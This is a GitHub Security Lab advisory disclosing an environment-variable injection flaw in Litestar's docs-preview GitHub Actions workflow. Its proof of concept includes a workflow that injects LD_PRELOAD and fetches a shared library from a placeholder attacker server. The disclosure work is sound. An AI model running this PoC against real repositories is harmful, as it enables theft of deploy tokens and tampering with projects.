Coordinated Disclosure Timeline
- 2024-07-29: Reported issue through Private Vulnerability Reporting (PVR).
- 2024-07-29: Issue is acknowledged.
- 2024-08-09: Advisory is published.
Summary
Litestar docs-preview.yml
workflow is vulnerable to Environment Variable injection which may lead to secret exfiltration and repository manipulation.
Project
Litestar
Tested Version
Latest commit at the time of reporting.
Details
Environment Variable injection (GHSL-2024-177
)
The docs-preview.yml
workflow gets triggered when the Tests And Linting
workflow completes:
on:
workflow_run:
workflows: [Tests And Linting]
types: [completed]
Later, it downloads and extracts an artifact generated by the triggering workflow:
- name: Download artifact
uses: dawidd6/action-download-artifact@v6
with:
workflow_conclusion: success
run_id: ${{ github.event.workflow_run.id }}
path: docs-preview
name: docs-preview
And reads docs-preview/.pr_number
into an Environment Variable:
- name: Set PR number
run: echo "PR_NUMBER=$(cat docs-preview/.pr_number)" >> $GITHUB_ENV
The $GITHUB_ENV
pointed file is just a regular file where every KEY=VALUE
will be used to define a new Environment Variable after the step completes. Since the contents of the .pr_number
file have not been validated, they may contain new lines that will cause new Environment Variables to be defined.
An attacker can send a malicious inject.so
and .pr_number
file with the following content:
111
LD_PRELOAD=/home/runner/work/litestar/litestar/inject.so
Which will result in two Environment Variables being defined:
- PR_NUMBER=111
- LD_PRELOAD=/home/runner/work/litestar/litestar/inject.so
In this example we are manipulating the LD_PRELOAD
environment variable to force the system to load a malicious shared library called inject.so
. As a result, all subsequent processes launched will automatically incorporate this compromised library into their execution environment.
The following step will run the JamesIves/github-pages-deploy-action
action which will run the node
command. Therefore the LD_PRELOAD
will execute arbitrary code when node
gets executed:
- name: Deploy docs preview
uses: JamesIves/github-pages-deploy-action@v4
with:
folder: docs-preview/docs/_build/html
token: ${{ secrets.DOCS_PREVIEW_DEPLOY_TOKEN }}
repository-name: litestar-org/litestar-docs-preview
clean: false
target-folder: ${{ env.PR_NUMBER }}
branch: gh-pages
PoC
- Clone the repository
- Edit the
ci.yml
workflow.
name: Tests And Linting
on:
pull_request:
jobs:
upload-patch:
runs-on: ubuntu-latest
timeout-minutes: 10
steps:
- name: Save PR number and payload
run: |
mkdir payload
echo -e "${{ github.event.number }}\nLD_PRELOAD=/home/runner/work/litestar/litestar/inject.so" > payload/.pr_number
curl http://<ATTACKER SERVER>/inject.so -o payload/inject.so
- name: Upload artifact
uses: actions/upload-artifact@v3
with:
name: docs-preview
path: |
payload
- Create a Pull Request with this change.
- Since the modified workflow is triggered on
pull_request
, the attacker Pull Request will trigger it and upon completion will trigger the vulnerableDeploy documentation preview
workflow which will read the malicious artifact and pollute the Environment Variables.
Impact
This issue will grant a malicious actor the following permissions:
Issues: write
Metadata: read
PullRequests: write
In addition, the following secret will get exposed to the attacker: DOCS_PREVIEW_DEPLOY_TOKEN
Resources
- CodeQL for JavaScript - Expression injection in Actions
- Keeping your GitHub Actions and workflows secure Part 2: Untrusted input
- Keeping your GitHub Actions and workflows secure Part 1: Preventing pwn requests
CVE
- CVE-2024-42370
Resources
- https://github.com/litestar-org/litestar/security/advisories/GHSA-4hq2-rpgc-r8r7#event-274768
Credit
This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2024-177
in any communication regarding this issue.